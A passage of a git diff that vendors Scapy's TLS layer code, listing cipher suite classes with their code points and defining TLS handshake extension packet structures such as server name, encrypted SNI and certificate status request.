0x00B7 + + +class TLS_RSA_PSK_WITH_NULL_SHA256(_GenericCipherSuite): + val = 0x00B8 + + +class TLS_RSA_PSK_WITH_NULL_SHA384(_GenericCipherSuite): + val = 0x00B9 + + +class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BA + + +class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BB + + +class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BC + + +class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BD + + +class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BE + + +class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0x00BF + + +class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C0 + + +class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C1 + + +class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C2 + + +class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C3 + + +class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C4 + + +class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): + val = 0x00C5 + +# class TLS_EMPTY_RENEGOTIATION_INFO_CSV(_GenericCipherSuite): +# val = 0x00FF + +# class TLS_FALLBACK_SCSV(_GenericCipherSuite): +# val = 0x5600 + + +class TLS_ECDH_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC001 + + +class TLS_ECDH_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC002 + + +class TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC003 + + +class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC004 + + +class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC005 + + +class TLS_ECDHE_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC006 + + +class TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC007 + + +class TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC008 + + +class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC009 + + +class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC00A + + +class TLS_ECDH_RSA_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC00B + + +class TLS_ECDH_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC00C + + +class TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC00D + + +class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC00E + + +class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC00F + + +class TLS_ECDHE_RSA_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC010 + + +class TLS_ECDHE_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC011 + + +class TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC012 + + +class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC013 + + +class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC014 + + +class TLS_ECDH_anon_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC015 + + +class TLS_ECDH_anon_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC016 + + +class TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC017 + + +class TLS_ECDH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC018 + + +class TLS_ECDH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC019 + + +class TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC01A + + +class TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC01B + + +class TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC01C + + +class TLS_SRP_SHA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC01D + + +class TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC01E + + +class TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC01F + + +class TLS_SRP_SHA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC020 + + +class TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC021 + + +class TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC022 + + +class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC023 + + +class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC024 + + +class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC025 + + +class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC026 + + +class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC027 + + +class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC028 + + +class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC029 + + +class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC02A + + +class TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC02B + + +class TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC02C + + +class TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC02D + + +class TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC02E + + +class TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC02F + + +class TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC030 + + +class TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC031 + + +class TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC032 + + +class TLS_ECDHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): + val = 0xC033 + + +class TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): + val = 0xC034 + + +class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): + val = 0xC035 + + +class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): + val = 0xC036 + + +class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC037 + + +class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC038 + + +class TLS_ECDHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): + val = 0xC039 + + +class TLS_ECDHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): + val = 0xC03A + + +class TLS_ECDHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): + val = 0xC03B + +# suites 0xC03C-C071 use ARIA + + +class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC072 + + +class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC073 + + +class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC074 + + +class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC075 + + +class TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC076 + + +class TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC077 + + +class TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC078 + + +class TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC079 + + +class TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC07A + + +class TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC07B + + +class TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC07C + + +class TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC07D + + +class TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC07E + + +class TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC07F + + +class TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC080 + + +class TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC081 + + +class TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC082 + + +class TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC083 + + +class TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC084 + + +class TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC085 + + +class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC086 + + +class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC087 + + +class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC088 + + +class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC089 + + +class TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC08A + + +class TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC08B + + +class TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC08C + + +class TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC08D + + +class TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC08E + + +class TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC08F + + +class TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC090 + + +class TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC091 + + +class TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): + val = 0xC092 + + +class TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): + val = 0xC093 + + +class TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC094 + + +class TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC095 + + +class TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC096 + + +class TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC097 + + +class TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC098 + + +class TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC099 + + +class TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): + val = 0xC09A + + +class TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): + val = 0xC09B + + +class TLS_RSA_WITH_AES_128_CCM(_GenericCipherSuite): + val = 0xC09C + + +class TLS_RSA_WITH_AES_256_CCM(_GenericCipherSuite): + val = 0xC09D + + +class TLS_DHE_RSA_WITH_AES_128_CCM(_GenericCipherSuite): + val = 0xC09E + + +class TLS_DHE_RSA_WITH_AES_256_CCM(_GenericCipherSuite): + val = 0xC09F + + +class TLS_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): + val = 0xC0A0 + + +class TLS_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): + val = 0xC0A1 + + +class TLS_DHE_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): + val = 0xC0A2 + + +class TLS_DHE_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): + val = 0xC0A3 + + +class TLS_PSK_WITH_AES_128_CCM(_GenericCipherSuite): + val = 0xC0A4 + + +class TLS_PSK_WITH_AES_256_CCM(_GenericCipherSuite): + val = 0xC0A5 + + +class TLS_DHE_PSK_WITH_AES_128_CCM(_GenericCipherSuite): + val = 0xC0A6 + + +class TLS_DHE_PSK_WITH_AES_256_CCM(_GenericCipherSuite): + val = 0xC0A7 + + +class TLS_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): + val = 0xC0A8 + + +class TLS_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): + val = 0xC0A9 + + +class TLS_DHE_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): + val = 0xC0AA + + +class TLS_DHE_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): + val = 0xC0AB + + +class TLS_ECDHE_ECDSA_WITH_AES_128_CCM(_GenericCipherSuite): + val = 0xC0AC + + +class TLS_ECDHE_ECDSA_WITH_AES_256_CCM(_GenericCipherSuite): + val = 0xC0AD + + +class TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(_GenericCipherSuite): + val = 0xC0AE + + +class TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(_GenericCipherSuite): + val = 0xC0AF + +# the next 3 suites are from draft-agl-tls-chacha20poly1305-04 + + +class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): + val = 0xCC13 + + +class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): + val = 0xCC14 + + +class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): + val = 0xCC15 + + +class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCA8 + + +class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCA9 + + +class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCAA + + +class TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCAB + + +class TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCAC + + +class TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCAD + + +class TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0xCCAE + + +class TLS_AES_128_GCM_SHA256(_GenericCipherSuite): + val = 0x1301 + + +class TLS_AES_256_GCM_SHA384(_GenericCipherSuite): + val = 0x1302 + + +class TLS_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): + val = 0x1303 + + +class TLS_AES_128_CCM_SHA256(_GenericCipherSuite): + val = 0x1304 + + +class TLS_AES_128_CCM_8_SHA256(_GenericCipherSuite): + val = 0x1305 + + +class SSL_CK_RC4_128_WITH_MD5(_GenericCipherSuite): + val = 0x010080 + + +class SSL_CK_RC4_128_EXPORT40_WITH_MD5(_GenericCipherSuite): + val = 0x020080 + + +class SSL_CK_RC2_128_CBC_WITH_MD5(_GenericCipherSuite): + val = 0x030080 + + +class SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(_GenericCipherSuite): + val = 0x040080 + + +class SSL_CK_IDEA_128_CBC_WITH_MD5(_GenericCipherSuite): + val = 0x050080 + + +class SSL_CK_DES_64_CBC_WITH_MD5(_GenericCipherSuite): + val = 0x060040 + + +class SSL_CK_DES_192_EDE3_CBC_WITH_MD5(_GenericCipherSuite): + val = 0x0700C0 + + +_tls_cipher_suites[0x00ff] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV" +_tls_cipher_suites[0x5600] = "TLS_FALLBACK_SCSV" + + +def get_usable_ciphersuites(l, kx): + """ + From a list of proposed ciphersuites, this function returns a list of + usable cipher suites, i.e. for which key exchange, cipher and hash + algorithms are known to be implemented and usable in current version of the + TLS extension. The order of the cipher suites in the list returned by the + function matches the one of the proposal. + """ + res = [] + for c in l: + if c in _tls_cipher_suites_cls: + ciph = _tls_cipher_suites_cls[c] + if ciph.usable: + # XXX select among RSA and ECDSA cipher suites + # according to the key(s) the server was given + if (ciph.kx_alg.anonymous or + kx in ciph.kx_alg.name or + ciph.kx_alg.name == "TLS13"): + res.append(c) + return res diff --git a/libs/scapy/layers/tls/extensions.py b/libs/scapy/layers/tls/extensions.py new file mode 100755 index 0000000..60cedb8 --- /dev/null +++ b/libs/scapy/layers/tls/extensions.py @@ -0,0 +1,834 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS handshake extensions. +""" + +from __future__ import print_function + +import os +import struct + +from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ + FieldListField, IntField, PacketField, PacketListField, ShortEnumField, \ + ShortField, StrFixedLenField, StrLenField, XStrLenField +from scapy.packet import Packet, Raw, Padding +from scapy.layers.x509 import X509_Extensions +from scapy.layers.tls.basefields import _tls_version +from scapy.layers.tls.keyexchange import (SigAndHashAlgsLenField, + SigAndHashAlgsField, _tls_hash_sig) +from scapy.layers.tls.session import _GenericTLSSessionInheritance +from scapy.layers.tls.crypto.groups import _tls_named_groups +from scapy.layers.tls.crypto.suites import _tls_cipher_suites +from scapy.themes import AnsiColorTheme +from scapy.compat import raw +from scapy.config import conf + + +# Because ServerHello and HelloRetryRequest have the same +# msg_type, the only way to distinguish these message is by +# checking the random_bytes. If the random_bytes are equal to +# SHA256('HelloRetryRequest') then we know this is a +# HelloRetryRequest and the TLS_Ext_KeyShare must be parsed as +# TLS_Ext_KeyShare_HRR and not as TLS_Ext_KeyShare_SH + +# from cryptography.hazmat.backends import default_backend +# from cryptography.hazmat.primitives import hashes +# digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) +# digest.update(b"HelloRetryRequest") +# _tls_hello_retry_magic = digest.finalize() + +_tls_hello_retry_magic = ( + b'\xcf!\xadt\xe5\x9aa\x11\xbe\x1d\x8c\x02\x1ee\xb8\x91\xc2\xa2\x11' + b'\x16z\xbb\x8c^\x07\x9e\t\xe2\xc8\xa83\x9c' +) + + +_tls_ext = {0: "server_name", # RFC 4366 + 1: "max_fragment_length", # RFC 4366 + 2: "client_certificate_url", # RFC 4366 + 3: "trusted_ca_keys", # RFC 4366 + 4: "truncated_hmac", # RFC 4366 + 5: "status_request", # RFC 4366 + 6: "user_mapping", # RFC 4681 + 7: "client_authz", # RFC 5878 + 8: "server_authz", # RFC 5878 + 9: "cert_type", # RFC 6091 + # 10: "elliptic_curves", # RFC 4492 + 10: "supported_groups", + 11: "ec_point_formats", # RFC 4492 + 13: "signature_algorithms", # RFC 5246 + 0x0f: "heartbeat", # RFC 6520 + 0x10: "alpn", # RFC 7301 + 0x12: "signed_certificate_timestamp", # RFC 6962 + 0x13: "client_certificate_type", # RFC 7250 + 0x14: "server_certificate_type", # RFC 7250 + 0x15: "padding", # RFC 7685 + 0x16: "encrypt_then_mac", # RFC 7366 + 0x17: "extended_master_secret", # RFC 7627 + 0x1c: "record_size_limit", # RFC 8449 + 0x23: "session_ticket", # RFC 5077 + 0x29: "pre_shared_key", + 0x2a: "early_data_indication", + 0x2b: "supported_versions", + 0x2c: "cookie", + 0x2d: "psk_key_exchange_modes", + 0x2f: "certificate_authorities", + 0x30: "oid_filters", + 0x31: "post_handshake_auth", + 0x32: "signature_algorithms_cert", + 0x33: "key_share", + 0x3374: "next_protocol_negotiation", + # RFC-draft-agl-tls-nextprotoneg-03 + 0xff01: "renegotiation_info", # RFC 5746 + 0xffce: "encrypted_server_name" + } + + +class TLS_Ext_Unknown(_GenericTLSSessionInheritance): + """ + We put this here rather than in extensions.py in order to avoid + circular imports... + """ + name = "TLS Extension - Scapy Unknown" + fields_desc = [ShortEnumField("type", None, _tls_ext), + FieldLenField("len", None, fmt="!H", length_of="val"), + StrLenField("val", "", + length_from=lambda pkt: pkt.len)] + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) - 4 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + pay + + +############################################################################### +# ClientHello/ServerHello extensions # +############################################################################### + +# We provide these extensions mostly for packet manipulation purposes. +# For now, most of them are not considered by our automaton. + +class TLS_Ext_PrettyPacketList(TLS_Ext_Unknown): + """ + Dummy extension used for server_name/ALPN/NPN for a lighter representation: + the final field is showed as a 1-line list rather than as lots of packets. + XXX Define a new condition for packet lists in Packet._show_or_dump? + """ + + def _show_or_dump(self, dump=False, indent=3, + lvl="", label_lvl="", first_call=True): + """ Reproduced from packet.py """ + ct = AnsiColorTheme() if dump else conf.color_theme + s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["), + ct.layer_name(self.name), ct.punct("]###")) + for f in self.fields_desc[:-1]: + ncol = ct.field_name + vcol = ct.field_value + fvalue = self.getfieldval(f.name) + begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), + ct.punct("="),) + reprval = f.i2repr(self, fvalue) + if isinstance(reprval, str): + reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + + len(lvl) + + len(f.name) + + 4)) + s += "%s%s\n" % (begn, vcol(reprval)) + f = self.fields_desc[-1] + ncol = ct.field_name + vcol = ct.field_value + fvalue = self.getfieldval(f.name) + begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) + reprval = f.i2repr(self, fvalue) + if isinstance(reprval, str): + reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + + len(lvl) + + len(f.name) + + 4)) + s += "%s%s\n" % (begn, vcol(reprval)) + if self.payload: + s += self.payload._show_or_dump(dump=dump, indent=indent, + lvl=lvl + (" " * indent * self.show_indent), # noqa: E501 + label_lvl=label_lvl, first_call=False) # noqa: E501 + + if first_call and not dump: + print(s) + else: + return s + + +_tls_server_name_types = {0: "host_name"} + + +class ServerName(Packet): + name = "HostName" + fields_desc = [ByteEnumField("nametype", 0, _tls_server_name_types), + FieldLenField("namelen", None, length_of="servername"), + StrLenField("servername", "", + length_from=lambda pkt: pkt.namelen)] + + def guess_payload_class(self, p): + return Padding + + +class ServerListField(PacketListField): + def i2repr(self, pkt, x): + res = [p.servername for p in x] + return "[%s]" % b", ".join(res) + + +class ServerLenField(FieldLenField): + """ + There is no length when there are no servernames (as in a ServerHello). + """ + + def addfield(self, pkt, s, val): + if not val: + if not pkt.servernames: + return s + return super(ServerLenField, self).addfield(pkt, s, val) + + +class TLS_Ext_ServerName(TLS_Ext_PrettyPacketList): # RFC 4366 + name = "TLS Extension - Server Name" + fields_desc = [ShortEnumField("type", 0, _tls_ext), + FieldLenField("len", None, length_of="servernames", + adjust=lambda pkt, x: x + 2), + ServerLenField("servernameslen", None, + length_of="servernames"), + ServerListField("servernames", [], ServerName, + length_from=lambda pkt: pkt.servernameslen)] + + +class TLS_Ext_EncryptedServerName(TLS_Ext_PrettyPacketList): + name = "TLS Extension - Encrypted Server Name" + fields_desc = [ShortEnumField("type", 0xffce, _tls_ext), + ShortField("len", None), + EnumField("cipher", None, _tls_cipher_suites), + ShortEnumField("key_exchange_group", None, + _tls_named_groups), + FieldLenField("key_exchange_len", None, + length_of="key_exchange", fmt="H"), + XStrLenField("key_exchange", "", + length_from=lambda pkt: pkt.key_exchange_len), + FieldLenField("record_digest_len", + None, length_of="record_digest"), + XStrLenField("record_digest", "", + length_from=lambda pkt: pkt.record_digest_len), + FieldLenField("encrypted_sni_len", None, + length_of="encrypted_sni", fmt="H"), + XStrLenField("encrypted_sni", "", + length_from=lambda pkt: pkt.encrypted_sni_len)] + + +class TLS_Ext_MaxFragLen(TLS_Ext_Unknown): # RFC 4366 + name = "TLS Extension - Max Fragment Length" + fields_desc = [ShortEnumField("type", 1, _tls_ext), + ShortField("len", None), + ByteEnumField("maxfraglen", 4, {1: "2^9", + 2: "2^10", + 3: "2^11", + 4: "2^12"})] + + +class TLS_Ext_ClientCertURL(TLS_Ext_Unknown): # RFC 4366 + name = "TLS Extension - Client Certificate URL" + fields_desc = [ShortEnumField("type", 2, _tls_ext), + ShortField("len", None)] + + +_tls_trusted_authority_types = {0: "pre_agreed", + 1: "key_sha1_hash", + 2: "x509_name", + 3: "cert_sha1_hash"} + + +class TAPreAgreed(Packet): + name = "Trusted authority - pre_agreed" + fields_desc = [ByteEnumField("idtype", 0, _tls_trusted_authority_types)] + + def guess_payload_class(self, p): + return Padding + + +class TAKeySHA1Hash(Packet): + name = "Trusted authority - key_sha1_hash" + fields_desc = [ByteEnumField("idtype", 1, _tls_trusted_authority_types), + StrFixedLenField("id", None, 20)] + + def guess_payload_class(self, p): + return Padding + + +class TAX509Name(Packet): + """ + XXX Section 3.4 of RFC 4366. Implement a more specific DNField + rather than current StrLenField. + """ + name = "Trusted authority - x509_name" + fields_desc = [ByteEnumField("idtype", 2, _tls_trusted_authority_types), + FieldLenField("dnlen", None, length_of="dn"), + StrLenField("dn", "", length_from=lambda pkt: pkt.dnlen)] + + def guess_payload_class(self, p): + return Padding + + +class TACertSHA1Hash(Packet): + name = "Trusted authority - cert_sha1_hash" + fields_desc = [ByteEnumField("idtype", 3, _tls_trusted_authority_types), + StrFixedLenField("id", None, 20)] + + def guess_payload_class(self, p): + return Padding + + +_tls_trusted_authority_cls = {0: TAPreAgreed, + 1: TAKeySHA1Hash, + 2: TAX509Name, + 3: TACertSHA1Hash} + + +class _TAListField(PacketListField): + """ + Specific version that selects the right Trusted Authority (previous TA*) + class to be used for dissection based on idtype. + """ + + def m2i(self, pkt, m): + idtype = ord(m[0]) + cls = self.cls + if idtype in _tls_trusted_authority_cls: + cls = _tls_trusted_authority_cls[idtype] + return cls(m) + + +class TLS_Ext_TrustedCAInd(TLS_Ext_Unknown): # RFC 4366 + name = "TLS Extension - Trusted CA Indication" + fields_desc = [ShortEnumField("type", 3, _tls_ext), + ShortField("len", None), + FieldLenField("talen", None, length_of="ta"), + _TAListField("ta", [], Raw, + length_from=lambda pkt: pkt.talen)] + + +class TLS_Ext_TruncatedHMAC(TLS_Ext_Unknown): # RFC 4366 + name = "TLS Extension - Truncated HMAC" + fields_desc = [ShortEnumField("type", 4, _tls_ext), + ShortField("len", None)] + + +class ResponderID(Packet): + name = "Responder ID structure" + fields_desc = [FieldLenField("respidlen", None, length_of="respid"), + StrLenField("respid", "", + length_from=lambda pkt: pkt.respidlen)] + + def guess_payload_class(self, p): + return Padding + + +class OCSPStatusRequest(Packet): + """ + This is the structure defined in RFC 6066, not in RFC 6960! + """ + name = "OCSPStatusRequest structure" + fields_desc = [FieldLenField("respidlen", None, length_of="respid"), + PacketListField("respid", [], ResponderID, + length_from=lambda pkt: pkt.respidlen), + FieldLenField("reqextlen", None, length_of="reqext"), + PacketField("reqext", "", X509_Extensions)] + + def guess_payload_class(self, p): + return Padding + + +_cert_status_type = {1: "ocsp"} +_cert_status_req_cls = {1: OCSPStatusRequest} + + +class _StatusReqField(PacketListField): + def m2i(self, pkt, m): + idtype = pkt.stype + cls = self.cls + if idtype in _cert_status_req_cls: + cls = _cert_status_req_cls[idtype] + return cls(m) + + +class TLS_Ext_CSR(TLS_Ext_Unknown): # RFC 4366 + name = "TLS Extension - Certificate Status Request" + fields_desc = [ShortEnumField("type", 5, _tls_ext), + ShortField("len", None), + ByteEnumField("stype", None, _cert_status_type), + _StatusReqField("req", [], Raw, + length_from=lambda pkt: pkt.len - 1)] + + +class TLS_Ext_UserMapping(TLS_Ext_Unknown): # RFC 4681 + name = "TLS Extension - User Mapping" + fields_desc = [ShortEnumField("type", 6, _tls_ext), + ShortField("len", None), + FieldLenField("umlen", None, fmt="B", length_of="um"), + FieldListField("um", [], + ByteField("umtype", 0), + length_from=lambda pkt: pkt.umlen)] + + 